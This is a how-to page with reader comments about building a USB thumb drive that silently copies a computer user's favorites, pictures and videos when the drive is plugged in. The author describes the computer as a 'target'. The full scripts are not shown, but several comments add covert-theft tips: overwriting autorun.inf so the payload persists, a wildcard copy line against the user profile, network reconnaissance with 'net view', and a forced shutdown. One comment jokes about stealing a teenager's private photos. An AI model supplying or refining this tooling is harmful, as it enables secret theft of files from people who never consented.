How to make flash drive that copy's users files silently and automatically

Picture of How to make flash drive that copy's users files silently and automatically

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Remove these adsRemove these ads by Signing Up

Step 1: Materials needed

Picture of Materials needed
Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
« Previous41-80 of 293Next »
at the beginning of your Batch file try

start myaltprogram.exe

This should open a second cmd window and run the program simultaneously.
nazirahmad3 years ago
hi: i did the steps but its not working ? some one help me!
Hey, I'm just wondering, what are you using, vista, mac, or windows
Well, Vista is a version of Windows. It looks to me, from his screenshots, that he is using Vista or 7. DEFINITELY not Mac, as is obvious from the .vbs file, the .exe files, the .bat file, and the .inf file. Macs don't use those kinds of files. Also, the buttons on the windows are on the left on Macs, on the right on Windows. In his screenshots, they're on the right, therefore it's Windows.
Thats logical
For a vbs scripter and batch maker like me getting a mac is out of the question for what you just said.
you can get a program called leftsider to swap the buttons around
Yes, but I don't think a soldier in Iraq would really care
Dude, Vista is Windows.
serisouly get your OS's straight....
Why does it run so slow??? Used it on a HP 6500 with a Sandisk Cruzer 8G... Also I converted the .bat file to .exe Would that make a difference maybe?
cooltg3 years ago
The folder with the system name is made.....BUT NO FILES ARE BEING COPIED........please help out.... it's urgent.. :(
lo3tboyz3 years ago
this instructable is totaly awesome!!!! it workzzzzzzzz..thx dude
Mistersalt4 years ago
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general purposes, not pranking stuff.

Thanks again, this is such a unique idea!
axeman9114 years ago
srry but really hard to understand
The Droid4 years ago
Because you used the "If exist autorun.inf" it will not work for every user that has an autorun already on the drive. By instead overwriting the autorun with "echo blablablabla > %drive%autorun.inf", the user will still have an autorun, but your autorun. Besides, if you check for the file that you've already copied to it (i.e. a virus or something) then the autorun will be the one you want already. You could also have it copy it on the thumb drive for every loop of the program, so that the autorun, if edited or deleted, will always come back, unless the user stops the program process.
avibank9114 years ago
Hey Im so excited to use this! me and my mates were gonna spend days trynna figure out how to do this!! thanks a ton!

Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:

%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*

jgustin134 years ago
this won't work on windows 7 because microsoft tightened alot of security holes
Lord Maul4 years ago
How can i root the files?And how did you do the icon?
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example "G://")
jash1235 years ago
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
dhynds1004 years ago
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from a teen girls laptop...
knoxarama5 years ago
so if your a soldier in iraq, does that mean you got this from like the U.S. government or something? oh and, GO SOLDIERS, U ROCK KEEP OUR COUNTRY SAFE!!!!!! U GUYS ROCK!!!! GOD BLESS OUR TROOPS!!!!!
No this is basic batch nonsense. The admins of the military's network are one step ahead with

Value = 3

No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card you use to login.
and why does the DOIM do this? for tweaks just like this one. the machine and the data on it is property of the us government. violation of a DoD OpOrd is an article 15 punishable offense...nuff said. this is for "HOME" use.
So that's how they do it at school.
if it works it works. i've tried it and it works. it's useful. nonsense or not, if you can copy files off of a computer like that with such simple code it is something worth looking at.
that right let god bless the soldiers in a good way.
Stormrage4 years ago
Its a cool instructable... tried it works... but i wonder how can i make a prog for this thing to work on Linux (exactly Edubuntu) but to copy more and to copy from another usb if inserted?
can you copy more than three files,
like documents, videos, picture, and favorites
if you tell it to copy "*" it will copy erything, the * is a wild card character
benny35214 years ago
Question: how do i make it not shut down?
just dont include the "shutdown" bit
D34th 4n6el5 years ago
i made this and it works great, i also added a shutdown command so it shuts down the computer after the files are copied
What's the command for that?
i believe it is
shutdown -s -f

the -s is telling it to shutdown and the -f is telling it to force all programs to close

but i'm not sure. Heres a website i use all the time when im working with batch 
« Previous41-80 of 293Next »